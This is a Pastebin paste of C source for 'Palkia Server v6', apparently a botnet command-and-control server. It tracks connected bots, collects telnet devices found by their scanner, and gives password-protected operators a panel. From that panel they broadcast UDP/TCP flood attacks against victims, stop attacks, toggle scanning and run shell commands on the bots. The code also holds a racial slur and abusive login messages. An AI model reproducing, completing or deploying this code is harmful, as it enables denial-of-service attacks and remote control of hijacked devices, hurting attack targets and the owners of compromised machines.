Advertisement
ZucoCheezy

PalkiaV6-Server

Dec 1st, 2018
247
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 17.75 KB | None | 0 0
  1. /*
  2. Screen Usage: screen ./server [client-port] [threads] [cnc-port]
  3. Skype: bl4ck.j3sus
  4. XMPP: b1nary@darkness.su
  5. Changes: Fixed The Telnet Status, Took The Banner Idea From Zekrom, Changed The Way You screen the server
  6. */
  7. /*
  8.  
  9. # ___     __________  ____ _______      _____ _______________.___.  ___    
  10. # / _ \_/\ \______   \/_   |\      \    /  _  \\______   \__  |   | / _ \_/\
  11. # \/ \___/  |    |  _/ |   |/   |   \  /  /_\  \|       _//   |   | \/ \___/
  12. #           |    |   \ |   /    |    \/    |    \    |   \\____   |          
  13. #           |______  / |___\____|__  /\____|__  /____|_  // ______|          
  14. #                  \/              \/         \/       \/ \/                
  15.  
  16.                         *** PALKIA SERVER.C ***
  17.                           ***  VERSION 6  ***
  18. */
  19. #include <stdio.h>
  20. #include <stdlib.h>
  21. #include <stdint.h>
  22. #include <inttypes.h>
  23. #include <string.h>
  24. #include <sys/types.h>
  25. #include <sys/socket.h>
  26. #include <netdb.h>
  27. #include <unistd.h>
  28. #include <time.h>
  29. #include <fcntl.h>
  30. #include <sys/epoll.h>
  31. #include <errno.h>
  32. #include <pthread.h>
  33. #include <signal.h>
  34. #include <arpa/inet.h>
  35. #define MAXFDS 1000000
  36. //////////////////////////////////
  37.  
  38. struct account {
  39.     char id[20];
  40.     char password[20];
  41. };
  42. static struct account accounts[10];
  43.  
  44. struct clientdata_t {
  45.         uint32_t ip;
  46.         char connected;
  47. } clients[MAXFDS];
  48.  
  49. struct telnetdata_t {
  50.         int connected;
  51. } managements[MAXFDS];
  52.  
  53. struct args {
  54.         int sock;
  55.         struct sockaddr_in cli_addr;
  56. };
  57. //////////////////////////////////
  58. static volatile FILE *telFD;
  59. static volatile FILE *fileFD;
  60. static volatile int epollFD = 0;
  61. static volatile int listenFD = 0;
  62. static volatile int managesConnected = 0;
  63. static volatile int TELFound = 0;
  64. static volatile int scannerreport;
  65. //////////////////////////////////
  66. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  67. {
  68.         int total = 0, got = 1;
  69.         while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  70.         return got;
  71. }
  72.  
  73. void trim(char *str)
  74. {
  75.     int i;
  76.     int begin = 0;
  77.     int end = strlen(str) - 1;
  78.     while (isspace(str[begin])) begin++;
  79.     while ((end >= begin) && isspace(str[end])) end--;
  80.     for (i = begin; i <= end; i++) str[i - begin] = str[i];
  81.     str[i - begin] = '\0';
  82. }
  83.  
  84.  
  85. static int make_socket_non_blocking (int sfd)
  86. {
  87.         int flags, s;
  88.         flags = fcntl (sfd, F_GETFL, 0);
  89.         if (flags == -1)
  90.         {
  91.                 perror ("fcntl");
  92.                 return -1;
  93.         }
  94.         flags |= O_NONBLOCK;
  95.         s = fcntl (sfd, F_SETFL, flags);
  96.         if (s == -1)
  97.         {
  98.                 perror ("fcntl");
  99.                 return -1;
  100.         }
  101.         return 0;
  102. }
  103.  
  104. static int create_and_bind (char *port)
  105. {
  106.         struct addrinfo hints;
  107.         struct addrinfo *result, *rp;
  108.         int s, sfd;
  109.         memset (&hints, 0, sizeof (struct addrinfo));
  110.         hints.ai_family = AF_UNSPEC;     /* Return IPv4 and IPv6 choices */
  111.         hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  112.         hints.ai_flags = AI_PASSIVE;     /* All interfaces */
  113.         s = getaddrinfo (NULL, port, &hints, &result);
  114.         if (s != 0)
  115.         {
  116.                 fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  117.                 return -1;
  118.         }
  119.         for (rp = result; rp != NULL; rp = rp->ai_next)
  120.         {
  121.                 sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  122.                 if (sfd == -1) continue;
  123.                 int yes = 1;
  124.                 if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  125.                 s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  126.                 if (s == 0)
  127.                 {
  128.                         break;
  129.                 }
  130.                 close (sfd);
  131.         }
  132.         if (rp == NULL)
  133.         {
  134.                 fprintf (stderr, "Could not bind\n");
  135.                 return -1;
  136.         }
  137.         freeaddrinfo (result);
  138.         return sfd;
  139. }
  140.  
  141. void broadcast(char *msg, int us)
  142. {
  143.         int sendMGM = 1;
  144.         if(strcmp(msg, "PING") == 0) sendMGM = 0;
  145.         int i;
  146.         for(i = 0; i < MAXFDS; i++)
  147.         {
  148.                 if(i == us || (!clients[i].connected &&  (sendMGM == 0 || !managements[i].connected))) continue;
  149.                 if(sendMGM && managements[i].connected)
  150.                 {
  151.                         send(i, "\n", 0, MSG_NOSIGNAL);
  152.                 }
  153.                 send(i, msg, strlen(msg), MSG_NOSIGNAL);
  154.                 if(sendMGM && managements[i].connected) {
  155.                     send(i, "\n", 0, MSG_NOSIGNAL);
  156.                 } else send(i, "\n", 1, MSG_NOSIGNAL);
  157.         }
  158. }
  159.  
  160. void *BotEventLoop(void *useless) {
  161.     struct epoll_event event;
  162.     struct epoll_event *events;
  163.     int s;
  164.     events = calloc (MAXFDS, sizeof event);
  165.     while (1) {
  166.         int n, i;
  167.         n = epoll_wait (epollFD, events, MAXFDS, -1);
  168.         for (i = 0; i < n; i++) {
  169.             if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  170.                 clients[events[i].data.fd].connected = 0;
  171.                 close(events[i].data.fd);
  172.                 continue;
  173.             }
  174.             else if (listenFD == events[i].data.fd) {
  175.                while (1) {
  176.                 struct sockaddr in_addr;
  177.                 socklen_t in_len;
  178.                 int infd, ipIndex;
  179.  
  180.                 in_len = sizeof in_addr;
  181.                 infd = accept (listenFD, &in_addr, &in_len);
  182.                 if (infd == -1) {
  183.                     if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  184.                     else {
  185.                         perror ("accept");
  186.                         break;
  187.                          }
  188.                 }
  189.  
  190.                 clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  191.                 int dup = 0;
  192.                 for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  193.                     if(!clients[ipIndex].connected || ipIndex == infd) continue;
  194.                     if(clients[ipIndex].ip == clients[infd].ip) {
  195.                         dup = 1;
  196.                         break;
  197.                     }}
  198.                 if(dup) {
  199.                     if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  200.                     close(infd);
  201.                     continue;
  202.                 }
  203.                 s = make_socket_non_blocking (infd);
  204.                 if (s == -1) { close(infd); break; }
  205.                 event.data.fd = infd;
  206.                 event.events = EPOLLIN | EPOLLET;
  207.                 s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  208.                 if (s == -1) {
  209.                     perror ("epoll_ctl");
  210.                     close(infd);
  211.                     break;
  212.                 }
  213.                 clients[infd].connected = 1;
  214.                 send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  215.             }
  216.             continue;
  217.         }
  218.         else {
  219.             int thefd = events[i].data.fd;
  220.             struct clientdata_t *client = &(clients[thefd]);
  221.             int done = 0;
  222.             client->connected = 1;
  223.             while (1) {
  224.                 ssize_t count;
  225.                 char buf[2048];
  226.                 memset(buf, 0, sizeof buf);
  227.                 while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0) {
  228.                     if(strstr(buf, "\n") == NULL) { done = 1; break; }
  229.                     trim(buf);
  230.                     if(strcmp(buf, "PING") == 0) {
  231.                         if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  232.                         continue;
  233.                     }
  234.                     if(strstr(buf, "REPORT ") == buf) {
  235.                         char *line = strstr(buf, "REPORT ") + 7;
  236.                         fprintf(telFD, "%s\n", line);
  237.                         fflush(telFD);
  238.                         TELFound++;
  239.                         continue;
  240.                     }
  241.                     if(strstr(buf, "PROBING") == buf) {
  242.                         char *line = strstr(buf, "PROBING");
  243.                         scannerreport = 1;
  244.                         continue;
  245.                     }
  246.                     if(strstr(buf, "REMOVING PROBE") == buf) {
  247.                         char *line = strstr(buf, "REMOVING PROBE");
  248.                         scannerreport = 0;
  249.                         continue;
  250.                     }
  251.                     if(strcmp(buf, "PONG") == 0) {
  252.                         continue;
  253.                     }
  254.                     printf("buf: \"%s\"\n", buf);
  255.                 }
  256.                 if (count == -1) {
  257.                     if (errno != EAGAIN) {
  258.                         done = 1;
  259.                     }
  260.                     break;
  261.                 }
  262.                 else if (count == 0) {
  263.                     done = 1;
  264.                     break;
  265.                 }
  266.             if (done) {
  267.                 client->connected = 0;
  268.                 close(thefd);
  269. }}}}}}
  270.  
  271. unsigned int clientsConnected()
  272. {
  273.         int i = 0, total = 0;
  274.         for(i = 0; i < MAXFDS; i++)
  275.         {
  276.                 if(!clients[i].connected) continue;
  277.                 total++;
  278.         }
  279.  
  280.         return total;
  281. }
  282.  
  283. void *titleWriter(void *sock)
  284. {
  285.         int thefd = (int)sock;
  286.         char string[2048];
  287.         while(1)
  288.         {
  289.                 memset(string, 0, 2048);
  290.                 sprintf(string, "%c]0;Bots connected: %d | Niggas connected: %d%c", '\033', clientsConnected(), managesConnected, '\007');
  291.                 if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  292.                 sleep(2);
  293.         }
  294. }
  295.  
  296. int Search_in_File(char *str)
  297. {
  298.     FILE *fp;
  299.     int line_num = 0;
  300.     int find_result = 0, find_line=0;
  301.     char temp[512];
  302.  
  303.     if((fp = fopen("login.txt", "r")) == NULL){
  304.         return(-1);
  305.     }
  306.     while(fgets(temp, 512, fp) != NULL){
  307.         if((strstr(temp, str)) != NULL){
  308.             find_result++;
  309.             find_line = line_num;
  310.         }
  311.         line_num++;
  312.     }
  313.     if(fp)
  314.         fclose(fp);
  315.     if(find_result == 0)return 0;
  316.     return find_line;
  317. }
  318.  
  319. void *telnetWorker(void *sock)
  320. {
  321.         int thefd = (int)sock;
  322.         int find_line;
  323.         managesConnected++;
  324.         pthread_t title;
  325.         char counter[2048];
  326.         char buf[2048];
  327.         char* nickstring;
  328.         char* username;
  329.         char* password;
  330.         memset(buf, 0, sizeof buf);
  331.         char botnet[2048];
  332.         memset(botnet, 0, 2048);
  333.        
  334.         FILE *fp;
  335.         int i=0;
  336.         int c;
  337.         fp=fopen("login.txt", "r");
  338.         while(!feof(fp))
  339.         {
  340.                 c=fgetc(fp);
  341.                 ++i;
  342.         }
  343.         int j=0;
  344.         rewind(fp);
  345.         while(j!=i-1)
  346.         {
  347.             fscanf(fp, "%s %s", accounts[j].id, accounts[j].password);
  348.             ++j;
  349.         }
  350.        
  351.         if(send(thefd, "\x1b[30mUsername:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  352.         if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  353.         trim(buf);
  354.         nickstring = ("%s", buf);
  355.         find_line = Search_in_File(nickstring);
  356.         if(strcmp(nickstring, accounts[find_line].id) == 0){                   
  357.         if(send(thefd, "\x1b[30mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  358.         if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  359.         trim(buf);
  360.         if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  361.         memset(buf, 0, 2048);
  362.         goto Banner;
  363.         }
  364.         failed:
  365.         if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  366.         char failed_line1[80];
  367.         char failed_line2[80];
  368.        
  369.         sprintf(failed_line1, "\x1b[31mWRONG ANSWER BITCH!!\r\n");
  370.         sprintf(failed_line2, "\x1b[31mGET THE FUCK OFF MY NET\r\n");
  371.        
  372.         if(send(thefd, "\x1b[31m++++++++++++++++++++++++++++++++++++\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  373.         if(send(thefd, failed_line1, strlen(failed_line1), MSG_NOSIGNAL) == -1) goto end;
  374.         if(send(thefd, failed_line2, strlen(failed_line2), MSG_NOSIGNAL) == -1) goto end;
  375.         if(send(thefd, "\x1b[31m++++++++++++++++++++++++++++++++++++\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  376.         sleep(5);
  377.         goto end;
  378.        
  379.         Banner:
  380.         pthread_create(&title, NULL, &titleWriter, sock);
  381.         char welcome_line [80];
  382.         char ascii_banner_line1 [5000];
  383.         char ascii_banner_line2 [5000];
  384.         char ascii_banner_line3 [5000];
  385.         char ascii_banner_line4 [5000];
  386.         char ascii_banner_line5 [5000];
  387.         char ascii_banner_line6 [5000];
  388.         char ascii_banner_line7 [5000];
  389.         char ascii_banner_line8 [5000];
  390.        
  391.         sprintf(ascii_banner_line1, "\x1b[31m   ▄███████▄    ▄████████  ▄█          ▄█   ▄█▄  ▄█     ▄████████\r\n");
  392.         sprintf(ascii_banner_line2, "\x1b[31m  ███    ███   ███    ███ ███         ███ ▄███▀ ███    ███    ███\r\n");
  393.         sprintf(ascii_banner_line3, "\x1b[31m  ███    ███   ███    ███ ███         ███▐██▀   ███▌   ███    ███\r\n");
  394.         sprintf(ascii_banner_line4, "\x1b[31m  ███    ███   ███    ███ ███        ▄█████▀    ███▌   ███    ███\r\n");
  395.         sprintf(ascii_banner_line5, "\x1b[31m▀█████████▀  ▀███████████ ███       ▀▀█████▄    ███▌ ▀███████████\r\n");
  396.         sprintf(ascii_banner_line6, "\x1b[31m  ███          ███    ███ ███         ███▐██▄   ███    ███    ███\r\n");
  397.         sprintf(ascii_banner_line7, "\x1b[31m  ███          ███    ███ ███▌    ▄   ███ ▀███▄ ███    ███    ███\r\n");
  398.         sprintf(ascii_banner_line8, "\x1b[31m ▄████▀        ███    █▀  █████▄▄██   ███   ▀█▀ █▀     ███    █▀\r\n");                
  399.         sprintf(welcome_line,       "\r\n\x1b[31m                       ~[Welcome, %s]~\r\n", accounts[find_line].id);
  400.        
  401.         if(send(thefd,              "\x1b[31m+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n", 73, MSG_NOSIGNAL) == -1) goto end;
  402.         if(send(thefd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  403.         if(send(thefd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  404.         if(send(thefd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  405.         if(send(thefd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  406.         if(send(thefd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  407.         if(send(thefd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  408.         if(send(thefd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  409.         if(send(thefd,              "\x1b[31m+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n", 73, MSG_NOSIGNAL) == -1) goto end;
  410.         if(send(thefd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
  411.         pthread_create(&title, NULL, &titleWriter, sock);
  412.         managements[thefd].connected = 1;
  413.  
  414.         while(fdgets(buf, sizeof buf, thefd) > 0)
  415.         {
  416.             if(strstr(buf, "KILL"))
  417.             {
  418.                 sprintf(botnet, "!* KILLATTK");
  419.                 if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  420.             }
  421.             if(strstr(buf, "!* STATUS"))
  422.             {
  423.                 sprintf(botnet, "Telnet devices: %d | Telnet status: %d\r\n", TELFound, scannerreport);
  424.                 if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  425.             }
  426.             if(strstr(buf, "!* BOTS"))
  427.             {  
  428.                 sprintf(botnet, "Bots connected: %d | Staff connected: %d\r\n", clientsConnected(), managesConnected);
  429.                 if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  430.             }
  431.             if(strstr(buf, "!* HELP"))
  432.             {  
  433.                 sprintf(botnet, "\r\n[+]Attack commands[+]\r\n!* UDP Victim Port Time 32 0 10 - UDP Attacker\r\n!* TCP Victim Port Time 32 all 0 10 - TCP Attacker\r\n!* KILLATTK - Kills all the on going attacks\r\n\r\n[+]Global commands[+]\r\n!* SH - Executes a shell command\r\n!* BOTS - Shows the bot count\r\n!* SCANNER ON | OFF - Telnet scanner\r\n");
  434.                 if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  435.             }
  436.             FILE *logFile;
  437.                 logFile = fopen("server.log", "a");
  438.                 time_t now;
  439.                 struct tm *gmt;
  440.                 char formatted_gmt [50];
  441.                 char lcltime[50];
  442.                 now = time(NULL);
  443.                 gmt = gmtime(&now);
  444.                 strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  445.                 fprintf(logFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].id, buf);
  446.                 fclose(logFile);
  447.                 broadcast(buf, thefd);
  448.                 memset(buf, 0, 2048);
  449.         }
  450.         end:
  451.                 managements[thefd].connected = 0;
  452.                 close(thefd);
  453.                 managesConnected--;
  454. }
  455.  
  456.  
  457. void *telnetListener(int port)
  458. {
  459.         int sockfd, newsockfd;
  460.         socklen_t clilen;
  461.         struct sockaddr_in serv_addr, cli_addr;
  462.         sockfd = socket(AF_INET, SOCK_STREAM, 0);
  463.         if (sockfd < 0) perror("ERROR opening socket");
  464.         bzero((char *) &serv_addr, sizeof(serv_addr));
  465.         serv_addr.sin_family = AF_INET;
  466.         serv_addr.sin_addr.s_addr = INADDR_ANY;
  467.         serv_addr.sin_port = htons(port);
  468.         if (bind(sockfd, (struct sockaddr *) &serv_addr,  sizeof(serv_addr)) < 0) perror("ERROR on binding");
  469.         listen(sockfd,5);
  470.         clilen = sizeof(cli_addr);
  471.         while(1)
  472.         {
  473.             newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  474.             if (newsockfd < 0) perror("ERROR on accept");
  475.             pthread_t thread;
  476.             pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  477.         }
  478. }
  479.  
  480. int main (int argc, char *argv[], void *sock)
  481. {
  482.         signal(SIGPIPE, SIG_IGN);
  483.         int s, threads, port;
  484.         struct epoll_event event;
  485.         if (argc != 4) {
  486.             fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  487.             exit (EXIT_FAILURE);
  488.         }
  489.         port = atoi(argv[3]);
  490.         telFD = fopen("telnet.txt", "a+");
  491.         threads = atoi(argv[2]);
  492.         listenFD = create_and_bind (argv[1]);
  493.         if (listenFD == -1) abort ();
  494.         s = make_socket_non_blocking (listenFD);
  495.         if (s == -1) abort ();
  496.         s = listen (listenFD, SOMAXCONN);
  497.         if (s == -1) {
  498.             perror ("listen");
  499.             abort ();
  500.         }
  501.         epollFD = epoll_create1 (0);
  502.         if (epollFD == -1) {
  503.             perror ("epoll_create");
  504.             abort ();
  505.         }
  506.         event.data.fd = listenFD;
  507.         event.events = EPOLLIN | EPOLLET;
  508.         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  509.         if (s == -1) {
  510.             perror ("epoll_ctl");
  511.             abort ();
  512.         }
  513.         pthread_t thread[threads + 2];
  514.         while(threads--) {
  515.             pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  516.         }
  517.         pthread_create(&thread[0], NULL, &telnetListener, port);
  518.         while(1) {
  519.             broadcast("PING", -1);
  520.             sleep(60);
  521.         }
  522.         close (listenFD);
  523.         return EXIT_SUCCESS;
  524. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement